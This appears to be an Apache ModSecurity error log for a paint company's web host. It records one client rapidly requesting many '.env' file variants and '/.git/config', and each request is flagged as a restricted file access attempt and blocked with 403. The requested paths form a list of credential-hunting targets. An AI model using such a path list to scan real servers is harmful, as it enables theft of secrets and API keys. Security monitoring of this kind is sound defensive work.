[Tue Oct 27 04:18:09.472618 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auBeQUQFomyjz0g-y4eN7QAAAAo"]
[Tue Oct 27 04:18:09.473725 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.openai"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auBeQfBpQA4DT21g-rgTUQAAAAY"]
[Tue Oct 27 04:18:09.473841 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auBeQdOTO42xOmZCRV02owAAAAE"]
[Tue Oct 27 04:18:09.473864 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auBeQfBpQA4DT21g-rgTUQAAAAY"]
[Tue Oct 27 04:18:09.473965 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auBeQdOTO42xOmZCRV02owAAAAE"]
[Tue Oct 27 04:18:09.474065 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auBeQfBpQA4DT21g-rgTUQAAAAY"]
[Tue Oct 27 04:18:09.474188 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auBeQdOTO42xOmZCRV02owAAAAE"]
[Tue Oct 27 04:18:09.475932 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auBeQTACgwKulg8gg2NrpAAAAAg"]
[Tue Oct 27 04:18:09.476060 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auBeQTACgwKulg8gg2NrpAAAAAg"]
[Tue Oct 27 04:18:09.476290 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auBeQTACgwKulg8gg2NrpAAAAAg"]
[Tue Oct 27 04:18:09.585557 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auBeQTs6QI_2LyqMu-svTgAAABA"]
[Tue Oct 27 04:18:09.585565 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auBeQSoaxgN9H0AE4f1vJAAAAAM"]
[Tue Oct 27 04:18:09.585787 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auBeQTs6QI_2LyqMu-svTgAAABA"]
[Tue Oct 27 04:18:09.585799 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auBeQSoaxgN9H0AE4f1vJAAAAAM"]
[Tue Oct 27 04:18:09.586222 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auBeQTs6QI_2LyqMu-svTgAAABA"]
[Tue Oct 27 04:18:09.586234 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auBeQSoaxgN9H0AE4f1vJAAAAAM"]
[Tue Oct 27 04:18:09.587226 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auBeQXCsn1NVv0VfikkGbAAAAAQ"]
[Tue Oct 27 04:18:09.587388 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auBeQXCsn1NVv0VfikkGbAAAAAQ"]
[Tue Oct 27 04:18:09.587386 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auBeQfBpQA4DT21g-rgTUgAAAAY"]
[Tue Oct 27 04:18:09.587538 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auBeQfBpQA4DT21g-rgTUgAAAAY"]
[Tue Oct 27 04:18:09.587607 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auBeQXCsn1NVv0VfikkGbAAAAAQ"]
[Tue Oct 27 04:18:09.587744 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auBeQfBpQA4DT21g-rgTUgAAAAY"]
[Tue Oct 27 04:18:09.588466 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auBeQdOTO42xOmZCRV02pAAAAAE"]
[Tue Oct 27 04:18:09.588619 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auBeQdOTO42xOmZCRV02pAAAAAE"]
[Tue Oct 27 04:18:09.588624 2026] [security2:error] [pid 3194351:tid 3194351] [client 34.156.22.151:39042] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auBeQc-M-kXjH-VclWYJVwAAABg"]
[Tue Oct 27 04:18:09.588776 2026] [security2:error] [pid 3194351:tid 3194351] [client 34.156.22.151:39042] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auBeQc-M-kXjH-VclWYJVwAAABg"]
[Tue Oct 27 04:18:09.588881 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auBeQdOTO42xOmZCRV02pAAAAAE"]
[Tue Oct 27 04:18:09.589011 2026] [security2:error] [pid 3194351:tid 3194351] [client 34.156.22.151:39042] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auBeQc-M-kXjH-VclWYJVwAAABg"]
[Tue Oct 27 04:18:09.589769 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auBeQTACgwKulg8gg2NrpQAAAAg"]
[Tue Oct 27 04:18:09.589904 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auBeQTACgwKulg8gg2NrpQAAAAg"]
[Tue Oct 27 04:18:09.589935 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auBeQUQFomyjz0g-y4eN7gAAAAo"]
[Tue Oct 27 04:18:09.590089 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auBeQUQFomyjz0g-y4eN7gAAAAo"]
[Tue Oct 27 04:18:09.590163 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auBeQTACgwKulg8gg2NrpQAAAAg"]
[Tue Oct 27 04:18:09.590329 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auBeQUQFomyjz0g-y4eN7gAAAAo"]
[Tue Oct 27 04:18:09.591307 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auBeQRsMrQZ-lBI87Ul18QAAAAU"]
[Tue Oct 27 04:18:09.591501 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auBeQRsMrQZ-lBI87Ul18QAAAAU"]
[Tue Oct 27 04:18:09.591721 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auBeQRsMrQZ-lBI87Ul18QAAAAU"]
[Tue Oct 27 04:18:09.663537 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auBeQTs6QI_2LyqMu-svTwAAABA"]
[Tue Oct 27 04:18:09.663743 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auBeQTs6QI_2LyqMu-svTwAAABA"]
